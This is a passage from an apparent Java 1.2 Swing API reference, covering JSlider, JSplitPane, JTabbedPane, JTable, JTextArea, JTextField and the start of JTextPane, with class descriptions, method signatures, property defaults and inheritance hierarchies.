 | public JSlider (); |
 | public JSlider (BoundedRangeModel brm); |
 | public JSlider (int orientation); |
 | public JSlider (int min, int max); |
 | public JSlider (int min, int max, int value); |
 | public JSlider (int orientation, int min, int max, int value); |
// | Inner Classes
 | ; |
// | Event Registration Methods (by event name)
 | public void addChangeListener (javax.swing.event.ChangeListener l); |
 | public void removeChangeListener (javax.swing.event.ChangeListener l); |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJSlider
 | public int getExtent (); | default:0
 | public void setExtent (int extent); | expert
 | public boolean getInverted (); | default:false
 | public void setInverted (boolean b); | bound
 | public java.util.Dictionary getLabelTable (); | default:null
 | public void setLabelTable (java.util.Dictionary labels); | bound hidden
 | public int getMajorTickSpacing (); | default:0
 | public void setMajorTickSpacing (int n); | bound
 | public int getMaximum (); | default:100
 | public void setMaximum (int maximum); | preferred
 | public int getMinimum (); | default:0
 | public void setMinimum (int minimum); | preferred
 | public int getMinorTickSpacing (); | default:0
 | public void setMinorTickSpacing (int n); | bound
 | public BoundedRangeModel getModel (); | default:DefaultBoundedRangeModel
 | public void setModel (BoundedRangeModel newModel); | bound
 | public int getOrientation (); | default:0
 | public void setOrientation (int orientation); | bound preferred
 | public boolean getPaintLabels (); | default:false
 | public void setPaintLabels (boolean b); | bound
 | public boolean getPaintTicks (); | default:false
 | public void setPaintTicks (boolean b); | bound
 | public boolean getPaintTrack (); | default:true
 | public void setPaintTrack (boolean b); | bound
 | public boolean getSnapToTicks (); | default:false
 | public void setSnapToTicks (boolean b); | bound
 | public javax.swing.plaf.SliderUI getUI (); |
 | public void setUI (javax.swing.plaf.SliderUI ui); | bound hidden
 | public String getUIClassID (); | Overrides:JComponent default:"SliderUI"
 | public int getValue (); | default:50
 | public void setValue (int n); | preferred
 | public boolean getValueIsAdjusting (); | default:false
 | public void setValueIsAdjusting (boolean b); | expert
// | Public Instance Methods
 | public java.util.Hashtable createStandardLabels (int increment); |
 | public java.util.Hashtable createStandardLabels (int increment, int start); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJSlider
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Protected Instance Methods
 | protected javax.swing.event.ChangeListener createChangeListener (); |
 | protected void fireStateChanged (); |
 | protected void updateLabelUIs (); |
// | Protected Instance Fields
 | protected transient javax.swing.event.ChangeEvent changeEvent ; |
 | protected javax.swing.event.ChangeListener changeListener ; |
 | protected int majorTickSpacing ; |
 | protected int minorTickSpacing ; |
 | protected int orientation ; |
 | protected BoundedRangeModel sliderModel ; |
 | protected boolean snapToTicks ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JSlider(Accessible,SwingConstants)

JSplitPane | Java 1.2
javax.swing | serializable accessible(value) swing component

This class is a container that splits itself horizontally or vertically to display two children. The orientation of the pane is specified by the orientation property, which should be set to either the HORIZONTAL_SPLIT or VERTICAL_SPLIT constant. The two children are specified by a pair of properties that depend on the orientation of the JSplitPane. If the orientation is HORIZONTAL_SPLIT, the children are specified with setLeftComponent() and setRightComponent(). For a VERTICAL_SPLITJSplitPane, the children are specified with setTopComponent() and setBottomComponent(). The position of the divider between the two panes of a JSplitPane can be set with setDividerLocation(). The argument can be an integer that specifies a pixel position or a double between 0.0 and 1.0 that specifies a percentage of the size of the JSplitPane.

JSplitPane allows the user to adjust the relative sizes of the two children by dragging the divider that appears between the children. The adjustment is constrained, however, so that a child is never made smaller than its specified minimum size. If the continuousLayout property is set to true, the children are resized continuously while the user drags the divider. If this property is false, however, the child components are not resized until the user finishes the drag. Although the divider location of a JSplitPane can be thought of in terms of the BoundedRangeModel, the JSplitPane implementation does not use a separate model object.

public class JSplitPane extends JComponent implements Accessible {
// | Public Constructors
 | public JSplitPane (); |
 | public JSplitPane (int newOrientation); |
 | public JSplitPane (int newOrientation, boolean newContinuousLayout); |
 | public JSplitPane (int newOrientation, Component newLeftComponent, Component newRightComponent); |
 | public JSplitPane (int newOrientation, boolean newContinuousLayout, Component newLeftComponent, Component newRightComponent); |
// | Public Constants
 | public static final String BOTTOM ; | ="bottom"
 | public static final String CONTINUOUS_LAYOUT_PROPERTY ; | ="continuousLayout"
 | public static final String DIVIDER ; | ="divider"
 | public static final String DIVIDER_SIZE_PROPERTY ; | ="dividerSize"
 | public static final int HORIZONTAL_SPLIT ; | =1
 | public static final String LAST_DIVIDER_LOCATION_PROPERTY ; | ="lastDividerLocation"
 | public static final String LEFT ; | ="left"
 | public static final String ONE_TOUCH_EXPANDABLE_PROPERTY ; | ="oneTouchExpandable"
 | public static final String ORIENTATION_PROPERTY ; | ="orientation"
 | public static final String RIGHT ; | ="right"
 | public static final String TOP ; | ="top"
 | public static final int VERTICAL_SPLIT ; | =0
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJSplitPane expert
 | public Component getBottomComponent (); | default:JButton
 | public void setBottomComponent (Component comp); |
 | public boolean isContinuousLayout (); | default:false
 | public void setContinuousLayout (boolean newContinuousLayout); | bound
 | public int getDividerLocation (); | default:0
 | public void setDividerLocation (int location); |
 | public void setDividerLocation (double proportionalLocation); |
 | public int getDividerSize (); | default:8
 | public void setDividerSize (int newSize); | bound
 | public int getLastDividerLocation (); | default:0
 | public void setLastDividerLocation (int newLastLocation); | bound
 | public Component getLeftComponent (); | default:JButton preferred
 | public void setLeftComponent (Component comp); |
 | public int getMaximumDividerLocation (); | default:93
 | public int getMinimumDividerLocation (); | default:93
 | public boolean isOneTouchExpandable (); | default:false
 | public void setOneTouchExpandable (boolean newValue); | bound
 | public int getOrientation (); | default:1
 | public void setOrientation (int orientation); | bound
 | public Component getRightComponent (); | default:JButton
 | public void setRightComponent (Component comp); | preferred
 | public Component getTopComponent (); | default:JButton
 | public void setTopComponent (Component comp); |
 | public javax.swing.plaf.SplitPaneUI getUI (); | expert
 | public void setUI (javax.swing.plaf.SplitPaneUI ui); |
 | public String getUIClassID (); | Overrides:JComponent default:"SplitPaneUI" expert
 | public boolean isValidateRoot (); | Overrides:JComponent constant default:true hidden
// | Public Instance Methods
 | public void resetToPreferredSizes (); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJSplitPane expert
// | Public Methods Overriding JComponent
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected void paintChildren (java.awt.Graphics g); |
 | protected String paramString (); |
// | Public Methods Overriding Container
 | public void remove (Component component); |
 | public void remove (int index); |
 | public void removeAll (); |
// | Protected Methods Overriding Container
 | protected void addImpl (Component comp, Object constraints, int index); |
// | Protected Instance Fields
 | protected boolean continuousLayout ; |
 | protected int dividerSize ; |
 | protected int lastDividerLocation ; |
 | protected Component leftComponent ; |
 | protected boolean oneTouchExpandable ; |
 | protected int orientation ; |
 | protected Component rightComponent ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JSplitPane(Accessible)

Passed To: javax.swing.plaf.SplitPaneUI.{finishedPaintingChildren(), getDividerLocation(), getMaximumDividerLocation(), getMinimumDividerLocation(), resetToPreferredSizes(), setDividerLocation()}

JTabbedPane | Java 1.2
javax.swing | serializable accessible(selection) swing component bean container

JTabbedPane is a container that can contain any number of children. It displays one child at a time, but displays a tab for each child. The user can click on these tabs to adjust the currently displayed child. JTabbedPane uses a SingleSelectionModel to keep track of the currently selected and displayed child. By default, the tabs appear at the top of the JTabbedPane. You can override this default, however, with setTabPlacement(). The argument to this method should be one of the TOP, BOTTOM, LEFT, or RIGHT constants defined by the SwingConstants interface.

Although you can add children to a JTabbedPane with the standard add() methods, this does not give you much flexibility in specifying the contents of the tab for that child. Instead, JTabbedPane provides several addTab() methods that allow you to specify the child along with the String, Icon, and tooltip text to use for its tab. A corresponding insertTab() method allows you to specify a child, the contents of its tab, and the position of the tab within the list of tabs. Use setSelectedComponent() or setSelectedIndex() to specify which child is currently displayed. setEnabledAt() allows you to enable or disable a tab, specified by its position within the list of tabs. setDisabledIconAt() allows you to specify an icon to display when a tab is disabled. Various other methods whose names end with "At" allow you to alter properties of individual tabs, specified by position.

public class JTabbedPane extends JComponent implements Accessible, Serializable, SwingConstants {
// | Public Constructors
 | public JTabbedPane (); |
 | public JTabbedPane (int tabPlacement); |
// | Inner Classes
 | ; |
 | ; |
// | Event Registration Methods (by event name)
 | public void addChangeListener (javax.swing.event.ChangeListener l); |
 | public void removeChangeListener (javax.swing.event.ChangeListener l); |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJTabbedPane
 | public SingleSelectionModel getModel (); | default:DefaultSingleSelectionModel
 | public void setModel (SingleSelectionModel model); | bound
 | public Component getSelectedComponent (); | default:null
 | public void setSelectedComponent (Component c); | preferred
 | public int getSelectedIndex (); | default:-1
 | public void setSelectedIndex (int index); | preferred
 | public int getTabCount (); | default:0
 | public int getTabPlacement (); | default:1
 | public void setTabPlacement (int tabPlacement); | bound preferred
 | public int getTabRunCount (); | default:0
 | public javax.swing.plaf.TabbedPaneUI getUI (); |
 | public void setUI (javax.swing.plaf.TabbedPaneUI ui); | bound hidden
 | public String getUIClassID (); | Overrides:JComponent default:"TabbedPaneUI"
// | Public Instance Methods
 | public void addTab (String title, Component component); |
 | public void addTab (String title, Icon icon, Component component); |
 | public void addTab (String title, Icon icon, Component component, String tip); |
 | public java.awt.Color getBackgroundAt (int index); |
 | public java.awt.Rectangle getBoundsAt (int index); |
 | public Component getComponentAt (int index); |
 | public Icon getDisabledIconAt (int index); |
 | public java.awt.Color getForegroundAt (int index); |
 | public Icon getIconAt (int index); |
 | public String getTitleAt (int index); |
 | public int indexOfComponent (Component component); |
 | public int indexOfTab (Icon icon); |
 | public int indexOfTab (String title); |
 | public void insertTab (String title, Icon icon, Component component, String tip, int index); |
 | public boolean isEnabledAt (int index); |
 | public void removeTabAt (int index); |
 | public void setBackgroundAt (int index, java.awt.Color background); | preferred
 | public void setComponentAt (int index, Component component); |
 | public void setDisabledIconAt (int index, Icon disabledIcon); | preferred
 | public void setEnabledAt (int index, boolean enabled); |
 | public void setForegroundAt (int index, java.awt.Color foreground); | preferred
 | public void setIconAt (int index, Icon icon); | preferred
 | public void setTitleAt (int index, String title); | preferred
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJTabbedPane
// | Public Methods Overriding JComponent
 | public String getToolTipText (java.awt.event.MouseEvent event); |
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Public Methods Overriding Container
 | public Component add (Component component); |
 | public void add (Component component, Object constraints); |
 | public Component add (Component component, int index); |
 | public Component add (String title, Component component); |
 | public void add (Component component, Object constraints, int index); |
 | public void remove (Component component); |
 | public void removeAll (); |
// | Protected Instance Methods
 | protected javax.swing.event.ChangeListener createChangeListener (); |
 | protected void fireStateChanged (); |
// | Protected Instance Fields
 | protected transient javax.swing.event.ChangeEvent changeEvent ; |
 | protected javax.swing.event.ChangeListener changeListener ; |
 | protected SingleSelectionModel model ; |
 | protected int tabPlacement ; |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JTabbedPane(Accessible,Serializable,SwingConstants)

Passed To: javax.swing.plaf.TabbedPaneUI.{getTabBounds(), getTabRunCount(), tabForCoordinate()}

JTabbedPane.ModelListener | Java 1.2
javax.swing | serializable

This protected inner class is a trivial ChangeListener implementation used internally by JTabbedPane to listen for changes from its SingleSelectionModel. Applications never need to use this class, and it probably should not have been made part of the public API. If you want to use a different listener implementation, override the createChangeListener() method of JTabbedPane.

protected class JTabbedPane.ModelListener implements javax.swing.event.ChangeListener, Serializable {
// | Protected Constructors
 | protected ModelListener ();
// | Methods Implementing ChangeListener
 | public void stateChanged (javax.swing.event.ChangeEvent e);
}
JTable | Java 1.2
javax.swing | serializable accessible(selection) swing component

JTable is a powerful and complex Swing component for displaying and editing tabular data. JTable relies on the auxiliary classes and interfaces in the javax.swing.table package. Two JTable constructors exist that make it easy to display tabular data that is stored in an Object[][] or in a Vector of rows, where each row is a Vector of cell values. These convenience constructors take an additional array or Vector of objects to be used as column headers for the table. If your data is not already in one of these pure tabular forms, you must provide a javax.swing.table.TableModel object that enables the JTable to find the value for each cell. You typically do this by subclassing javax.swing.table.AbstractTableModel.

When displaying a JTable that contains more than a few rows or columns, it is common to place the JTable within a JScrollPane. JTable components created with the convenience constructors or with a simple default subclass of AbstractTableModel are not editable. However, you can enable editing on a cell-by-cell basis by overriding the isCellEditable() and setValueAt() methods of the AbstractTableModel.

Unlike most Swing components, JTable relies on more than one associated model object. In addition to the TableModel object that contains table data, a JTable also uses a TableColumnModel object to keep track of the columns of the table and their ordering and selection state and a ListSelectionModel used to keep track of selected rows in the table.

The cell values returned by the TableModel are generic objects. By default, JTable knows how to display and edit String, Boolean, and Number values. If you want to display another type of objects, you can create a custom javax.swing.table.TableCellRenderer object and pass it to setDefaultRenderer(). If you want to allow users to edit values of this type, you can create a custom javax.swing.table.TableCellEditor and pass it to setDefaultEditor().

public class JTable extends JComponent implements Accessible, javax.swing.event.CellEditorListener, javax.swing.event.ListSelectionListener, Scrollable, javax.swing.event.TableColumnModelListener, javax.swing.event.TableModelListener {
// | Public Constructors
 | public JTable (); |
 | public JTable (javax.swing.table.TableModel dm); |
 | public JTable (int numRows, int numColumns); |
 | public JTable (Object[ ][ ] rowData, Object[ ] columnNames); |
 | public JTable (javax.swing.table.TableModel dm, javax.swing.table.TableColumnModel cm); |
 | public JTable (java.util.Vector rowData, java.util.Vector columnNames); |
 | public JTable (javax.swing.table.TableModel dm, javax.swing.table.TableColumnModel cm, ListSelectionModel sm); |
// | Public Constants
 | public static final int AUTO_RESIZE_ALL_COLUMNS ; | =4
 | public static final int AUTO_RESIZE_LAST_COLUMN ; | =3
 | public static final int AUTO_RESIZE_NEXT_COLUMN ; | =1
 | public static final int AUTO_RESIZE_OFF ; | =0
 | public static final int AUTO_RESIZE_SUBSEQUENT_COLUMNS ; | =2
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Implements:Accessible default:AccessibleJTable
 | public boolean getAutoCreateColumnsFromModel (); | default:true
 | public void setAutoCreateColumnsFromModel (boolean createColumns); |
 | public int getAutoResizeMode (); | default:2
 | public void setAutoResizeMode (int mode); |
 | public javax.swing.table.TableCellEditor getCellEditor (); | default:null
 | public javax.swing.table.TableCellEditor getCellEditor (int row, int column); |
 | public void setCellEditor (javax.swing.table.TableCellEditor anEditor); |
 | public boolean getCellSelectionEnabled (); | default:false
 | public void setCellSelectionEnabled (boolean flag); |
 | public int getColumnCount (); | default:0
 | public javax.swing.table.TableColumnModel getColumnModel (); | default:DefaultTableColumnModel
 | public void setColumnModel (javax.swing.table.TableColumnModel newModel); |
 | public boolean getColumnSelectionAllowed (); | default:false
 | public void setColumnSelectionAllowed (boolean flag); |
 | public boolean isEditing (); | default:false
 | public int getEditingColumn (); | default:-1
 | public void setEditingColumn (int aColumn); |
 | public int getEditingRow (); | default:-1
 | public void setEditingRow (int aRow); |
 | public Component getEditorComponent (); | default:null
 | public java.awt.Color getGridColor (); | default:ColorUIResource
 | public void setGridColor (java.awt.Color newColor); |
 | public java.awt.Dimension getIntercellSpacing (); |
 | public void setIntercellSpacing (java.awt.Dimension newSpacing); |
 | public boolean isManagingFocus (); | Overrides:JComponent constant default:true
 | public javax.swing.table.TableModel getModel (); | default:DefaultTableModel
 | public void setModel (javax.swing.table.TableModel newModel); |
 | public java.awt.Dimension getPreferredScrollableViewportSize (); | Implements:Scrollable
 | public void setPreferredScrollableViewportSize (java.awt.Dimension size); |
 | public int getRowCount (); | default:0
 | public int getRowHeight (); | default:16
 | public void setRowHeight (int newHeight); |
 | public int getRowMargin (); | default:1
 | public void setRowMargin (int rowMargin); |
 | public boolean getRowSelectionAllowed (); | default:true
 | public void setRowSelectionAllowed (boolean flag); |
 | public boolean getScrollableTracksViewportHeight (); | Implements:Scrollable constant default:false
 | public boolean getScrollableTracksViewportWidth (); | Implements:Scrollable default:true
 | public int getSelectedColumn (); | default:-1
 | public int getSelectedColumnCount (); | default:0
 | public int[ ] getSelectedColumns (); |
 | public int getSelectedRow (); | default:-1
 | public int getSelectedRowCount (); | default:0
 | public int[ ] getSelectedRows (); |
 | public java.awt.Color getSelectionBackground (); | default:ColorUIResource
 | public void setSelectionBackground (java.awt.Color selectionBackground); | bound
 | public java.awt.Color getSelectionForeground (); | default:ColorUIResource
 | public void setSelectionForeground (java.awt.Color selectionForeground); | bound
 | public ListSelectionModel getSelectionModel (); | default:DefaultListSelectionModel
 | public void setSelectionModel (ListSelectionModel newModel); |
 | public boolean getShowHorizontalLines (); | default:true
 | public void setShowHorizontalLines (boolean b); |
 | public boolean getShowVerticalLines (); | default:true
 | public void setShowVerticalLines (boolean b); |
 | public javax.swing.table.JTableHeader getTableHeader (); |
 | public void setTableHeader (javax.swing.table.JTableHeader newHeader); |
 | public javax.swing.plaf.TableUI getUI (); |
 | public void setUI (javax.swing.plaf.TableUI ui); |
 | public String getUIClassID (); | Overrides:JComponent default:"TableUI"
// | Public Instance Methods
 | public void addColumn (javax.swing.table.TableColumn aColumn); |
 | public void addColumnSelectionInterval (int index0, int index1); |
 | public void addRowSelectionInterval (int index0, int index1); |
 | public void clearSelection (); |
 | public int columnAtPoint (java.awt.Point point); |
 | public int convertColumnIndexToModel (int viewColumnIndex); |
 | public int convertColumnIndexToView (int modelColumnIndex); |
 | public void createDefaultColumnsFromModel (); |
 | public boolean editCellAt (int row, int column); |
 | public boolean editCellAt (int row, int column, java.util.EventObject e); |
 | public java.awt.Rectangle getCellRect (int row, int column, boolean includeSpacing); |
 | public javax.swing.table.TableCellRenderer getCellRenderer (int row, int column); |
 | public javax.swing.table.TableColumn getColumn (Object identifier); |
 | public Class getColumnClass (int column); |
 | public String getColumnName (int column); |
 | public javax.swing.table.TableCellEditor getDefaultEditor (Class columnClass); |
 | public javax.swing.table.TableCellRenderer getDefaultRenderer (Class columnClass); |
 | public Object getValueAt (int row, int column); |
 | public boolean isCellEditable (int row, int column); |
 | public boolean isCellSelected (int row, int column); |
 | public boolean isColumnSelected (int column); |
 | public boolean isRowSelected (int row); |
 | public void moveColumn (int column, int targetColumn); |
 | public Component prepareEditor (javax.swing.table.TableCellEditor editor, int row, int column); |
 | public Component prepareRenderer (javax.swing.table.TableCellRenderer renderer, int row, int column); |
 | public void removeColumn (javax.swing.table.TableColumn aColumn); |
 | public void removeColumnSelectionInterval (int index0, int index1); |
 | public void removeEditor (); |
 | public void removeRowSelectionInterval (int index0, int index1); |
 | public int rowAtPoint (java.awt.Point point); |
 | public void selectAll (); |
 | public void setColumnSelectionInterval (int index0, int index1); |
 | public void setDefaultEditor (Class columnClass, javax.swing.table.TableCellEditor editor); |
 | public void setDefaultRenderer (Class columnClass, javax.swing.table.TableCellRenderer renderer); |
 | public void setRowSelectionInterval (int index0, int index1); |
 | public void setSelectionMode (int selectionMode); |
 | public void setShowGrid (boolean b); |
 | public void setValueAt (Object aValue, int row, int column); |
 | public void sizeColumnsToFit (int resizingColumn); |
// | Methods Implementing Accessible
 | public AccessibleContext getAccessibleContext (); | default:AccessibleJTable
// | Methods Implementing CellEditorListener
 | public void editingCanceled (javax.swing.event.ChangeEvent e); |
 | public void editingStopped (javax.swing.event.ChangeEvent e); |
// | Methods Implementing ListSelectionListener
 | public void valueChanged (javax.swing.event.ListSelectionEvent e); |
// | Methods Implementing Scrollable
 | public java.awt.Dimension getPreferredScrollableViewportSize (); |
 | public int getScrollableBlockIncrement (java.awt.Rectangle visibleRect, int orientation, int direction); |
 | public boolean getScrollableTracksViewportHeight (); | constant default:false
 | public boolean getScrollableTracksViewportWidth (); | default:true
 | public int getScrollableUnitIncrement (java.awt.Rectangle visibleRect, int orientation, int direction); |
// | Methods Implementing TableColumnModelListener
 | public void columnAdded (javax.swing.event.TableColumnModelEvent e); |
 | public void columnMarginChanged (javax.swing.event.ChangeEvent e); |
 | public void columnMoved (javax.swing.event.TableColumnModelEvent e); |
 | public void columnRemoved (javax.swing.event.TableColumnModelEvent e); |
 | public void columnSelectionChanged (javax.swing.event.ListSelectionEvent e); |
// | Methods Implementing TableModelListener
 | public void tableChanged (javax.swing.event.TableModelEvent e); |
// | Public Methods Overriding JComponent
 | public void addNotify (); |
 | public String getToolTipText (java.awt.event.MouseEvent event); |
 | public void reshape (int x, int y, int width, int height); |
 | public void updateUI (); |
// | Protected Methods Overriding JComponent
 | protected String paramString (); |
// | Protected Instance Methods
 | protected void configureEnclosingScrollPane (); |
 | protected javax.swing.table.TableColumnModel createDefaultColumnModel (); |
 | protected javax.swing.table.TableModel createDefaultDataModel (); |
 | protected void createDefaultEditors (); |
 | protected void createDefaultRenderers (); |
 | protected ListSelectionModel createDefaultSelectionModel (); |
 | protected javax.swing.table.JTableHeader createDefaultTableHeader (); |
 | protected void initializeLocalVars (); |
 | protected void resizeAndRepaint (); |
// | Protected Instance Fields
 | protected boolean autoCreateColumnsFromModel ; |
 | protected int autoResizeMode ; |
 | protected transient javax.swing.table.TableCellEditor cellEditor ; |
 | protected boolean cellSelectionEnabled ; |
 | protected javax.swing.table.TableColumnModel columnModel ; |
 | protected javax.swing.table.TableModel dataModel ; |
 | protected transient java.util.Hashtable defaultEditorsByColumnClass ; |
 | protected transient java.util.Hashtable defaultRenderersByColumnClass ; |
 | protected transient int editingColumn ; |
 | protected transient int editingRow ; |
 | protected transient Component editorComp ; |
 | protected java.awt.Color gridColor ; |
 | protected java.awt.Dimension preferredViewportSize ; |
 | protected int rowHeight ; |
 | protected int rowMargin ; |
 | protected boolean rowSelectionAllowed ; |
 | protected java.awt.Color selectionBackground ; |
 | protected java.awt.Color selectionForeground ; |
 | protected ListSelectionModel selectionModel ; |
 | protected boolean showHorizontalLines ; |
 | protected boolean showVerticalLines ; |
 | protected javax.swing.table.JTableHeader tableHeader ; |
// | Deprecated Public Methods
# | public static JScrollPane createScrollPaneForTable (JTable aTable); |
# | public void sizeColumnsToFit (boolean lastColumnOnly); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->JTable(Accessible,javax.swing.event.CellEditorListener(java.util.EventListener),javax.swing.event.ListSelectionListener(java.util.EventListener),Scrollable,javax.swing.event.TableColumnModelListener(java.util.EventListener),javax.swing.event.TableModelListener(java.util.EventListener))

Passed To: DefaultCellEditor.getTableCellEditorComponent(), JTable.createScrollPaneForTable(), JTable.AccessibleJTable.AccessibleJTableCell.AccessibleJTableCell(), javax.swing.table.DefaultTableCellRenderer.getTableCellRendererComponent(), javax.swing.table.JTableHeader.setTable(), javax.swing.table.JTableHeader.AccessibleJTableHeader.AccessibleJTableHeaderEntry.AccessibleJTableHeaderEntry(), javax.swing.table.TableCellEditor.getTableCellEditorComponent(), javax.swing.table.TableCellRenderer.getTableCellRendererComponent()

Returned By: javax.swing.table.JTableHeader.getTable()

Type Of: javax.swing.table.JTableHeader.table

JTextArea | Java 1.2
javax.swing | serializable accessible(text) swing component

JTextArea displays multiple lines of plain, unformatted text and allows the user to edit the text. The JTextArea API is designed to be similar to the java.awt.TextArea API.

You can specify the text to be displayed by passing a String to the JTextArea constructor or by using the setText() and getText() methods inherited from the superclass. Specify the number of rows and columns to be displayed by the JTextArea by passing these values to the constructor or by using the setRows() and setColumns() methods. The lineWrap property specifies whether long lines should wrap. The wrapStyleWord property specifies whether lines should wrap at word boundaries or at character boundaries. If you are displaying more than a few lines of text, you probably want to place your JTextArea within a JScrollPane to enable scrolling as needed.

JTextArea is a subclass of javax.swing.text.JTextComponent and inherits many features of that powerful text editor. Many of the most commonly used JTextArea methods are actually inherited from its superclass. They include the getText() and setText() methods already mentioned, as well as setEditable(), getCaretPosition(), and setCaretPosition(). Like its superclass, JTextArea uses a javax.swing.text.Document object as its model. Since a JTextArea displays only plain text, however, you can typically use a simple String object instead.

public class JTextArea extends javax.swing.text.JTextComponent {
// | Public Constructors
 | public JTextArea (); |
 | public JTextArea (javax.swing.text.Document doc); |
 | public JTextArea (String text); |
 | public JTextArea (int rows, int columns); |
 | public JTextArea (String text, int rows, int columns); |
 | public JTextArea (javax.swing.text.Document doc, String text, int rows, int columns); |
// | Inner Classes
 | ; |
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Overrides:JTextComponent default:AccessibleJTextArea
 | public int getColumns (); | default:0
 | public void setColumns (int columns); |
 | public int getLineCount (); | default:0
 | public boolean getLineWrap (); | default:false
 | public void setLineWrap (boolean wrap); | bound preferred
 | public boolean isManagingFocus (); | Overrides:JComponent constant default:true
 | public java.awt.Dimension getPreferredScrollableViewportSize (); | Overrides:JTextComponent
 | public java.awt.Dimension getPreferredSize (); | Overrides:JComponent
 | public int getRows (); | default:0
 | public void setRows (int rows); |
 | public boolean getScrollableTracksViewportWidth (); | Overrides:JTextComponent default:false
 | public int getTabSize (); | default:8
 | public void setTabSize (int size); | bound preferred
 | public String getUIClassID (); | Overrides:JComponent default:"TextAreaUI"
 | public boolean getWrapStyleWord (); | default:false
 | public void setWrapStyleWord (boolean word); | bound
// | Public Instance Methods
 | public void append (String str); |
 | public int getLineEndOffset (int line) throws javax.swing.text.BadLocationException; |
 | public int getLineOfOffset (int offset) throws javax.swing.text.BadLocationException; |
 | public int getLineStartOffset (int line) throws javax.swing.text.BadLocationException; |
 | public void insert (String str, int pos); |
 | public void replaceRange (String str, int start, int end); |
// | Public Methods Overriding JTextComponent
 | public int getScrollableUnitIncrement (java.awt.Rectangle visibleRect, int orientation, int direction); |
// | Protected Methods Overriding JTextComponent
 | protected String paramString (); |
 | protected void processComponentKeyEvent (java.awt.event.KeyEvent e); |
// | Public Methods Overriding JComponent
 | public void setFont (java.awt.Font f); |
// | Protected Instance Methods
 | protected javax.swing.text.Document createDefaultModel (); |
 | protected int getColumnWidth (); |
 | protected int getRowHeight (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->javax.swing.text.JTextComponent(Accessible,Scrollable)-->JTextArea

JTextField | Java 1.2
javax.swing | serializable accessible(text) swing component

JTextField allows the user to enter and edit a single line of plain text. JTextField is designed to supersede java.awt.TextField, so it has a similar API. You can set and query the text with the setText() and getText() methods inherited from the superclass. Use setFont() to specify the font in which the text is displayed. Use setColumns() to set the number of characters in the field. Note that the specified number of columns is approximate unless you are using a monospaced font. Note that JTextField inherits a number of useful properties from its superclass. These include enabled, editable, caretPosition, and selectedText.

JTextField fires an ActionEvent to any registered ActionListener objects when the user types Enter. You can specify the action command text sent with the ActionEvent by calling setActionCommand().

public class JTextField extends javax.swing.text.JTextComponent implements SwingConstants {
// | Public Constructors
 | public JTextField (); |
 | public JTextField (String text); |
 | public JTextField (int columns); |
 | public JTextField (String text, int columns); |
 | public JTextField (javax.swing.text.Document doc, String text, int columns); |
// | Public Constants
 | public static final String notifyAction ; | ="notify-field-accept"
// | Inner Classes
 | ; |
// | Event Registration Methods (by event name)
 | public void addActionListener (java.awt.event.ActionListener l); | synchronized
 | public void removeActionListener (java.awt.event.ActionListener l); | synchronized
// | Property Accessor Methods (by property name)
 | public AccessibleContext getAccessibleContext (); | Overrides:JTextComponent default:AccessibleJTextField
 | public Action[ ] getActions (); | Overrides:JTextComponent
 | public int getColumns (); | default:0
 | public void setColumns (int columns); |
 | public int getHorizontalAlignment (); | default:2
 | public void setHorizontalAlignment (int alignment); | bound preferred
 | public BoundedRangeModel getHorizontalVisibility (); | default:DefaultBoundedRangeModel
 | public java.awt.Dimension getPreferredSize (); | Overrides:JComponent
 | public int getScrollOffset (); | default:0
 | public void setScrollOffset (int scrollOffset); |
 | public String getUIClassID (); | Overrides:JComponent default:"TextFieldUI"
 | public boolean isValidateRoot (); | Overrides:JComponent constant default:true
// | Public Instance Methods
 | public void postActionEvent (); |
 | public void setActionCommand (String command); |
// | Protected Methods Overriding JTextComponent
 | protected String paramString (); |
// | Public Methods Overriding JComponent
 | public void scrollRectToVisible (java.awt.Rectangle r); |
 | public void setFont (java.awt.Font f); |
// | Protected Instance Methods
 | protected javax.swing.text.Document createDefaultModel (); |
 | protected void fireActionPerformed (); |
 | protected int getColumnWidth (); |
}

Hierarchy: Object-->Component(java.awt.image.ImageObserver,java.awt.MenuContainer,Serializable)-->Container-->JComponent(Serializable)-->javax.swing.text.JTextComponent(Accessible,Scrollable)-->JTextField(SwingConstants)

Subclasses: JPasswordField, javax.swing.tree.DefaultTreeCellEditor.DefaultTextField

Passed To: DefaultCellEditor.DefaultCellEditor()

JTextPane | Java 1.2
javax.swing | serializable accessible(text) swing component

JTextPane is a component for displaying and editing multiline formatted text. When combined with a GUI that allows the user to select fonts, colors, paragraph styles, and so forth, it provides substantial word-processing functionality for any Java application. JTextPane works with documents that implement the javax.swing.text.StyledDocument interface, typically a DefaultStyledDocument. JTextPane also relies on javax.swing.text.StyledEditorKit to provide auxiliary configuration information.

JTextPane does not directly define methods for inserting styled text into the document. You must work directly with the StyledDocument to do that. JTextPane allows the user to edit text but does not provide any means for the user to specify or change the style of that text. Your application must provide additional GUI components (e.g., a menu of available styles or a dialog box for selecting a font) in order to allow the user to select styles.

